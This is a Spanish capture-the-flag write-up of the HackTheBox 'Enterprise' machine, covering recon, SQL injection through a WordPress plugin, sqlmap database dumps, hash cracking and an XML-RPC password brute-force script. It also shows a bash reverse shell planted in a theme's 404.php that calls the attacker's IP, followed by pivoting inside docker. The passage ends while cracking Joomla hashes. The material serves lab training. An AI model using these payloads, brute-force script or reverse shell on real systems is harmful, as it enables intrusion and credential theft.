Enterprise
En este writeup vamos a estar resolviendo la máquina Enterprise de la plataforma de HackTheBox, Es una máquina medium muy interesante, Vamos a estar tocando enumeración web de Wordpress y Joomla, SQL injections, Vamos a escapar de un docker y por último vamos a explotar un Buffer overflow muy interesante con la técnica ret2libc
November 11, 202329 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.10.61
PING 10.10.10.61 (10.10.10.61) 56(84) bytes of data.
64 bytes from 10.10.10.61: icmp_seq=1 ttl=63 time=94.2 ms
--- 10.10.10.61 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 94.201/94.201/94.201/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.61 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.61
5 │ [*] Open ports: 22,80,443,8080,32812
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
$ nmap -sCV -p22,80,443,8080,32812 10.10.10.61 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.25 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port32812-TCP:V=7.94%I=7%D=11/11%Time=654FAA2C%P=x86_64-pc-linux-gnu%r(
SF:NULL,ED,"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_______\x20_______\x20\x20______\x20_______\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\
SF:x20\x20\|_____\|\x20\|_____/\x20\|______\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\|_____\x20\|_____\x20\x20\|\x20\x20\x20\x20\x20\|\x20\|\x20
SF:\x20\x20\x20\\_\x20______\|\n\nWelcome\x20to\x20the\x20Library\x20Compu
SF:ter\x20Access\x20and\x20Retrieval\x20System\n\nEnter\x20Bridge\x20Acces
SF:s\x20Code:\x20\n")%r(GenericLines,110,"\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______\
SF:x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\
SF:x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\x
SF:20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x2
SF:0to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Syst
SF:em\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermin
SF:ating\x20Console\n\n")%r(GetRequest,110,"\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20_____
SF:_\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x2
SF:0\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|_____
SF:_\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|
SF:\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\
SF:x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Sy
SF:stem\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTerm
SF:inating\x20Console\n\n")%r(HTTPOptions,110,"\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20__
SF:____\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20
SF:\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|__
SF:____\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x2
SF:0\|\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelco
SF:me\x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x2
SF:0System\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nT
SF:erminating\x20Console\n\n");
Service Info: OS: Linux; CPE: cpe:/
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 443
Nmap reporto que hay una web corriendo por el puerto 443. Al entrar, esta web muestra la página default de apache en un ubuntu. Puede ser que existan otras rutas, así que vamos a hacer fuzzing
wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.61/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000094: 301 9 L 28 W 312 Ch "files"
Explicación parámetros
- -c: Mostrar el resultado con colores
- -t: Definir el tiempo del escaneo
- –hc=404: Con esto le decimos que no nos interesan las respuestas cuyo código de estado sea 404, lo que significa que no queremos que nos reporte páginas que no existen
- -w: Diccionario
- FUZZ: Es donde va a ir probando el contenido del diccionario
Wfuzz ha reportado la exsistencia de un directorio llamado files. Al entrar se ve un archivo llamado lcars.zip que si lo descargamos y descomprimimos vemos que contiene 3 archivos:
lcars.php
Este archivo está vacío, no contiene código php, pero sí tiene unos comentarios que nos hacen pensar que es un plugin de alguna web. Podemos ver el nombre del plugin: lcars. El nombre del dominio: enterprise.htb. Y 3 comentarios: Need to create the user interface, need to finsih the db interface y need to make it secure. El último comentario dice que “lo tiene que hacer más seguro”, puede ser que el plugin sea vulnerable.
<?php /* * Plugin Name: lcars * Plugin URI: enterprise.htb * Description: Library Computer Access And Retrieval System * Author: Geordi La Forge * Version: 0.2 * Author URI: enterprise.htb * */ // Need to create the user interface. // need to finsih the db interface // need to make it secure ?>
lcars_dbpost.php
Este archivo contiene código php, en el código se incluye el archivo
/var/www/html/wp-config.php
que seguramente es el que tiene las credenciales de la base de datos. Después hace una petición a la base de datosSELECT post_title FROM wp_posts WHERE ID = $query
en la cual se están seleccionando los “post_title” de la tabla wp_posts donde el id es igual a $query y $query equivale a lo que se manda por el método get en el parámetro query. Antes de hacer la petición convierte la data que se pasa por el parámetro query a un int, un número, lo que da a entender que está esperando un número, esto no tiene pinta de ser vulnerable, ya que convierte a int la data que le pasamos.<?php include "/var/www/html/wp-config.php"; $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Test the connection: if (mysqli_connect_errno()){ // Connection Error exit("Couldn't connect to the database: ".mysqli_connect_error()); } // test to retireve a post name if (isset($_GET['query'])){ $query = (int)$_GET['query']; $sql = "SELECT post_title FROM wp_posts WHERE ID = $query"; $result = $db->query($sql); if ($result){ $row = $result->fetch_row(); if (isset($row[0])){ echo $row[0]; } } } else { echo "Failed to read query"; } ?>
lcars_db.php
Por último el archivo lcars_db.php también contiene código php, en el código se vuelve a incluir el archivo
/var/www/html/wp-config.php
que como dije en el anterior, seguramente es el archivo que contiene las credenciales de la base de datos. Después hace una petición a la base de datos en la cual selecciona los ID de la tabla “wp_posts” donde la columna “post_name” sea igual a $query. El script con $query se refiere a la data que le mandamos con el metodo GET por el parametro querySELECT ID FROM wp_posts WHERE post_name = $query
. Este archivo cambia un poco, ya que la petición no es la misma y $query ya no es un número. Al no convertir a int nuestro input, se pone directamente nuestro input en la petición, sin ningún tipo de sanitización, lo que parece que puede ser vulnerable a una SQLI<?php include "/var/www/html/wp-config.php"; $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Test the connection: if (mysqli_connect_errno()){ // Connection Error exit("Couldn't connect to the database: ".mysqli_connect_error()); } // test to retireve an ID if (isset($_GET['query'])){ $query = $_GET['query']; $sql = "SELECT ID FROM wp_posts WHERE post_name = $query"; $result = $db->query($sql); echo $result; } else { echo "Failed to read query"; } ?>
enterprise.htb
En el primer archivo dentro de lcars se identificó un comentario en el cual ponía un dominio:
Plugin URI: enterprise.htb
Para hacer que funcione el dominio hay que añadirlo en el /etc/hosts
acompañado de la ip de la máquina víctima, para qué nuestra máquina sepa a que estamos haciendo referencia cuando le hablamos del enterprise.htb.
10.10.10.61 enterprise.htb
Una vez completado este paso ya podemos entrar a la web con el dominio. Pero antes que nada vamos a hacer un whatweb para saber un poco más de información sobre la web
whatweb enterprise.htb
http://enterprise.htb [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], Email[wordpress@example.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[10.10.10.61], JQuery[1.12.4], MetaGenerator[WordPress 4.8.1], PHP[5.6.31], PoweredBy[WordPress], Script[text/javascript], Title[USS Enterprise – Ships Log], UncommonHeaders[link], WordPress[4.8.1], X-Powered-By[PHP/5.6.31]
Del resultado del whatweb podemos ver que es un Wordpress de versión 4.8.1 (versión bastante desactualizada)
Sabiendo que es un wordpress podemos usar la herramienta wpscan para enumerar usuarios.
wpscan --url=http://enterprise.htb -e u
[i] User(s) Identified:
[+] william.riker
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Login Error Messages (Aggressive Detection)
[+] william-riker
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
Ha encontrado 2 posibles usuarios william.riker y william-riker, básicamente son el mismo usuario, pero en partes distintas de la web por lo que está escrito de distinta forma, debajo de william.riker pone Login Error Messages así que vamos a suponer que el usuario es william-riker
Explotación SQLI
Ahora podríamos probar de ver si el plugin que se mencionaba en la otra web está instalado en este wordpress, para saberlo sin estar autenticados vamos a hacer lo siguiente: Los plugins en wordpress suelen estar en wp-content/plugins/ asi que lo que pode mos hacer es intentar entrar en la carpeta wp-content/plugins/lcars que debería ser la carpeta del plugin, ya que se llama lcars. Sí hacemos un curl en la carpeta nos responde con un código 403 Lo que significa forbidden
curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/lcars/
403
Pero si hacemos la misma petición a un servidor random, nos devuelve un código 404, Not Found
curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/testing/
404
Con estos dos comandos podemos sacar la conclusión de que si existe una carpeta llamada lcars, pero no tenemos permisos para ver el contenido que hay en ella, pero jugamos con ventaja, ya que hemos visto el código del plugin y ya sabemos qué archivos puede haber y cuál puede ser vulnerable.
Vamos a probar de ver con curl si existe el archivo lcars_db.php que habíamos visto anteriormente que parecía que podía ser vulnerable a SQLI
curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php"
Failed to read query
Sí recordamos, le podíamos mandar cosas por el método GET con el parámetro query
curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=test"
Pero no responde con nada. Vamos a probar de añadir una inyección sql que lo que va a hacer es que la petición tarde 5 segundos en procesarse 1 and sleep(5)
, esto lo vamos a juntar con el comando de curl url encodeado y el comando time para que nos diga cuanto tiempo tarda en ejecutarse el comando. (Para url encodear el payload de la SQLI se puede hacer con una web o manualmente cambiando los espacios por %20 y los “()” por %28 y %29)
time curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1%20and%20sleep%285%29"
<br />
<b>Catchable fatal error</b>: Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />
real 6.71s
user 0.00s
sys 0.01s
cpu 0%
Confirmado, es vulnerable, le dijimos a la base de datos que hiciera un sleep de 5 segundos y la peticion ha tardado en llegar 6.71, lo que significa que ha funcionado
Para automatizar la inyección vamos a usar la herramienta sqlmap, sqlmap es una herramienta que en algunas certificaciones como OSCP está prohibida, pero para esta máquina va muy bien, ya que haciéndolo manual tardaríamos mucho, muchísimo!
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch
Parameter: query (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: query=(SELECT (CASE WHEN (9063=9063) THEN 1 ELSE (SELECT 3395 UNION SELECT 7761) END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: query=1 AND (SELECT 6881 FROM(SELECT COUNT(*),CONCAT(0x71766b7171,(SELECT (ELT(6881=6881,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: query=1 AND (SELECT 1921 FROM (SELECT(SLEEP(5)))CmQp)
Sqlmap nos confirma que es vulnerable y nos dice los 3 tipos de SQLI que se pueden usar
- boolean-based blind
- error-based
- time-based blind
Para enumerar las bases de datos vamos a usar el parámetro --dbs
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch --dbs
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb
Una vez que ya sabemos que bases de datos, vamos a ver qué tablas hay de la base de datos del wordpress, para ello con -D
vamos a especificar la base de datos y con --tables
vamos a listar las tablas
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress --tables
Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
Ahora vamos a sacar toda la información de la tabla wp_users, para especificar la tabla vamos a usar -T
y para ver el contenido --dump
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress -T wp_users --dump
Database: wordpress
Table: wp_users
[1 entry]
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| 1 | <blank> | $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2. | william.riker@enterprise.htb | william.riker | 0 | william.riker | william-riker | 2017-09-03 19:20:56 | <blank> |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
Ya podemos confirar la existencia del usuario william.riker y tenemos su contraseña hasheada: $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.
. Este hash lo podemos intentar romper de la siguiente forma.
echo '$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Lo dejé corriendo un buen rato y nada, no puede sacar la pass, así que vamos a seguir enumerando la base de datos. Vamos a ver el contenido de la tabla wp_posts
En la columna post_content vemos que hay 3 entradas que contienen el siguiente texto
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n
Para que interprete los enters podemos usar python:
$python3
>>> print('Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n')
Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y
enterprisencc170
ZD3YxfnSjezg67JZ
u*Z14ru0p#ttj83zS6
Parece que ya tenemos 4 contraseñas que a lo mejor son las del wordpress. No las vamos a probar una a una, vamos a hacer fuerza bruta automatizada de 3 formas distintas
Este wordpress tiene el xmlrpc.php accesible así que nos podemos aprovechar de él para hacer la fuerza bruta. Primero vamos a listar los métodos que tiene disponibles, mandándole una petición por post con la siguiente data
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
curl -X POST "http://enterprise.htb/xmlrpc.php" -d@data.xml
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
.....
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
El método wp.getUsersBlogs
está disponible, con este método podemos hacer fuerza bruta con la siguiente data sustituyendo el parámetro username por el usuario y password por la contraseña
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>USERNAME</value></param>
<param><value>PASSWORD</value></param>
</params>
</methodCall>
Al mandar esta petición recibimos lo siguiente
curl -X POST “http://enterprise.htb/xmlrpc.php” -d@data.xml
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
....
<value><string>Incorrect username or password.</string></value>
....
</methodResponse>
Ahora vamos a hacer un script en python para automatizar esta comprobación de usuarios y guardaremos todos las contraseñas en un archivo llamado passwords.txt
import requests
from pwn import *
url = "http://enterprise.htb/xmlrpc.php"
dict = "passwords.txt"
user = "william.riker"
data = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{}</value></param>
<param><value>{}</value></param>
</params>
</methodCall>
"""
p1 = log.progress("Número de contraseñas probadas")
p2 = log.progress("Contraseña")
words = 0
with open(dict, 'r') as diccionario:
for i in diccionario:
words += 1
p1.status(words)
a = requests.post(url, data=data.format(user, i))
if "Incorrect username or password" not in a.text:
p2.success(i)
p1.success(words)
Al principio del script se declaran 4 variables, la url con la ruta del xmlrpc.php, el diccionario de posibles contraseñas, el usuario con el cual se van a probar las contraseñas y la data que se va a mandar por post, con unos “{}” donde iría el user y la pass, indicando que ahí va a ir una variable que haremos más adelante. Después abrimos el diccionario y hacemos un bucle for por cada línea que haya en el diccionario. A continuación se manda una solicitud con la contraseña que toca en la iteración del diccionario y se comprueba si la respuesta contiene la frase “Incorrect username or password”. Si no contiene esa frase significa que las credenciales son correctas
python3 script.py
[+] Número de contraseñas probadas: 4
[+] Contraseña: u*Z14ru0p#ttj83zS6
Ahora ya tenemos la contraseña del wordpress y podemos iniciar sesión en /wp-admin, una vez iniciada la sesión para mandarnos una reverse shell simplemente vamos a Appearance > Editor > 404 template. Vamos a modificar el 404.php que es el que se muestra cuando vamos a una ruta equivocada y vamos a añadir la siguiente línea
system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');
Nos ponemos en escucha con netcat
nc -nlvp 443
Explicación parámetros
- n: Sirve para que no haga la resolución de DNS
- l: Habilitar modo escucha de netcat
- v: Verbose, modo detallado de netcat
- p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha
Por último hacemos un curl a un post que no exsísta
curl http://enterprise.htb/?p=10000000
Y recibimos la conexión
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 32890
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b8319d86d21e:/var/www/html$
Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Al ver nuestra ip vemos que no es la de la máquina víctima:
www-data@b8319d86d21e:/var/www/html$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 scope global eth0
valid_lft forever preferred_lft forever
Si listamos el contenido de la raíz vemos que estamos en un contenedor docker por la existencia del archivo .dockerenv
www-data@b8319d86d21e:/var/www/html$ ls -la /
total 72
drwxr-xr-x 73 root root 4096 May 30 2022 .
drwxr-xr-x 73 root root 4096 May 30 2022 ..
-rwxr-xr-x 1 root root 0 Sep 3 2017 .dockerenv
Volviendo al tema de la ip hemos visto que tenemos la 172.17.0.3 la 172.17.0.1 es la máquina host que seguramente será la 10.10.10.61. Pero es raro que se nos haya asignado la ip 172.17.0.3 y no la 172.17.0.2, puede ser que haya más de un contenedor docker y que en la .2 haya un contenedor. Esto lo podemos comprobar con un ping.
www-data@b8319d86d21e:/var/www/html$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2): 56 data bytes
64 bytes from 172.17.0.2: icmp_seq=0 ttl=64 time=0.061 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.061/0.061/0.061/0.000 ms
Efectivamente existe un contenedor en la .2. Si volvemos al inicio, había una tercera web corriendo por el puerto 8080, antes de entrar vamos a hacerle un whatweb como la de wordpress para ver que es.
whatweb 10.10.10.61:8080
http://10.10.10.61:8080 [200 OK] Apache[2.4.10], Bootstrap, Cookies[14cd8f365a67fad648754407628a1809], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], HttpOnly[14cd8f365a67fad648754407628a1809], IP[10.10.10.61], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[7.0.23], PasswordField[password], Script[application/json], Title[Home], X-Powered-By[PHP/7.0.23]
¡Es un joomla! Sí recordamos en la sqli de wordpress había una base de datos de joomla así que podemos sacar usuarios y contraseñas. Primero enumeramos las tablas.
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb --tables
Database: joomladb
[72 tables]
+-------------------------------+
| edz2g_assets |
| edz2g_associations |
| edz2g_banner_clients |
| edz2g_banner_tracks |
| edz2g_banners |
| edz2g_categories |
| edz2g_contact_details |
| edz2g_content |
| edz2g_content_frontpage |
| edz2g_content_rating |
| edz2g_content_types |
| edz2g_contentitem_tag_map |
| edz2g_core_log_searches |
| edz2g_extensions |
| edz2g_fields |
| edz2g_fields_categories |
| edz2g_fields_groups |
| edz2g_fields_values |
| edz2g_finder_filters |
| edz2g_finder_links |
| edz2g_finder_links_terms0 |
| edz2g_finder_links_terms1 |
| edz2g_finder_links_terms2 |
| edz2g_finder_links_terms3 |
| edz2g_finder_links_terms4 |
| edz2g_finder_links_terms5 |
| edz2g_finder_links_terms6 |
| edz2g_finder_links_terms7 |
| edz2g_finder_links_terms8 |
| edz2g_finder_links_terms9 |
| edz2g_finder_links_termsa |
| edz2g_finder_links_termsb |
| edz2g_finder_links_termsc |
| edz2g_finder_links_termsd |
| edz2g_finder_links_termse |
| edz2g_finder_links_termsf |
| edz2g_finder_taxonomy |
| edz2g_finder_taxonomy_map |
| edz2g_finder_terms |
| edz2g_finder_terms_common |
| edz2g_finder_tokens |
| edz2g_finder_tokens_aggregate |
| edz2g_finder_types |
| edz2g_languages |
| edz2g_menu |
| edz2g_menu_types |
| edz2g_messages |
| edz2g_messages_cfg |
| edz2g_modules |
| edz2g_modules_menu |
| edz2g_newsfeeds |
| edz2g_overrider |
| edz2g_postinstall_messages |
| edz2g_redirect_links |
| edz2g_schemas |
| edz2g_session |
| edz2g_tags |
| edz2g_template_styles |
| edz2g_ucm_base |
| edz2g_ucm_content |
| edz2g_ucm_history |
| edz2g_update_sites |
| edz2g_update_sites_extensions |
| edz2g_updates |
| edz2g_user_keys |
| edz2g_user_notes |
| edz2g_user_profiles |
| edz2g_user_usergroup_map |
| edz2g_usergroups |
| edz2g_users |
| edz2g_utf8_conversion |
| edz2g_viewlevels |
+-------------------------------+
Ahora vamos a ver el contenido de la tabla edz2g_users
sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb -T edz2g_users --dump
Database: joomladb
Table: edz2g_users
[2 entries]
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| id | otep | email | name | otpKey | params | block | password | username | sendEmail | activation | resetCount | registerDate | requireReset | lastResetTime | lastvisitDate |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| 400 | <blank> | geordi.la.forge@enterprise.htb | Super User | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0 | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge | 1 | 0 | 0 | 2017-09-03 19:30:04 | 0 | 0000-00-00 00:00:00 | 2017-10-17 04:24:50 |
| 401 | <blank> | guinan@enterprise.htb | Guinan | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0 | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | Guinan | 0 | <blank> | 0 | 2017-09-06 12:38:03 | 0 | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
Vemos 2 usuarios con sus respectivas credenciales hasheadas las cuales podemos tratar de romper con john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
